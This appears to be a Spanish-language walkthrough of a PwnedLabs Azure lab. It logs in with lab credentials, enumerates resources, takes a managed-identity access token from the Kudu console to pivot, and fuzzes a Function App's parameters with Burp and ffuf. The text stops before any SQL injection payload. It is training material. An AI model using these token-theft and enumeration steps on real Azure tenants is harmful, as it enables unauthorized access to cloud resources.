Exploit SQL Injection in Azure Function App

Oct 30, 2025
Azure PwnedLabs

Disconnect-AzAccount

az logout

Lo primero que todo es tratar de desconectar y empezar desde 0.

az login -u Budi.Setiawan@megabigtech.com -p Welcome1352!

ssh_command.

az account show | jq -r "{homeTenantId}"

Connect-AzAccount -AccountId "Budi.Setiawan@megabigtech.com"

ssh_command.

Introducimos la contrasena.

ssh_command.

Escogemos la opcion mbt-eam.

ssh_command.

Le damos click a Si.

ssh_command.

az resource list --query "[].{ID:id,Name:name,Type:type,Identity:identity,ResourceGroup:resourceGroup}"

ssh_command.

az webapp show -n megabigtech-dev_group -g megabigtech-dev --query "enabledHostNames" -o table

ssh_command.

Por alguna razon solo me funciona con este comando.

(Get-AzWebApp -ResourceGroupName “megabigtech-dev_group” -Name “megabigtech-dev”).EnabledHostNames

ssh_command.

Get-AzRoleAssignment -Scope "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94" | Select-Object DisplayName, RoleDefinitionName

ssh_command.

Get-AzWebApp -ResourceGroupName "megabigtech-dev_group" -Name "megabigtech-dev" | Select-Object -ExpandProperty Identity

ssh_command.

En el portal se ve mas o menos asi:

ssh_command.

Le damos click a JSON view.

ssh_command.

Abrimos roadrecon y vemos lo siguiente sobre la aplicacion.

ssh_command.

Nos dirigimos a https://megabigtech-dev.scm.azurewebsites.net

ssh_command.

Le damos click a Powershell en Kudu.

ssh_command.

Adquirimos el token de acceso y lo guardamos en una variable. En este caso es $token.

ssh_command.

Connect-AzAccount -AccessToken $token -AccountId "test"

Al conectarnos hacemos el siguiente comando.

Get-AzResource

Get-AzResource -ResourceType "Microsoft.Web/Sites" -ResourceGroupName "mbt-rg-7" -Name "mbt-subscriptions"

ssh_command.

Get-AzWebApp -ResourceGroupName "mbt-rg-7" -Name "mbt-subscriptions"

ssh_command.

Get-AzResource -ResourceType "Microsoft.Web/Sites" -ResourceGroupName "mbt-rg-7" -Name "mbt-subscriptions" -ApiVersion "2018-11-01"

ssh_command.

(Get-AzResource -ResourceType "Microsoft.Web/Sites" -ResourceGroupName "mbt-rg-7" -Name "mbt-subscriptions" -ApiVersion "2018-11-01").properties

ssh_command.

Al dirigirnos a la pagina nos despliega este error.

ssh_command.

burpsuite

Nos dirigimos a Proxy y hacemos una intercepcion en https://mbt-subscriptions.azurewebsites.net/api/trigger1

Vemos que no tiene Content-Type

ssh_command.

Cambiamos el metodo de solicitud.

ssh_command.

Mandamos un json {“testeo”:“mason.lopez@lycos.com}

ssh_command.

  ffuf -u 'https://mbt-subscriptions.azurewebsites.net/api/httptrigger1' \
  -X POST \
  -H 'Host: mbt-subscriptions.azurewebsites.net' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '{"FUZZ":"mason.lopez@lycos.com"}' \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 131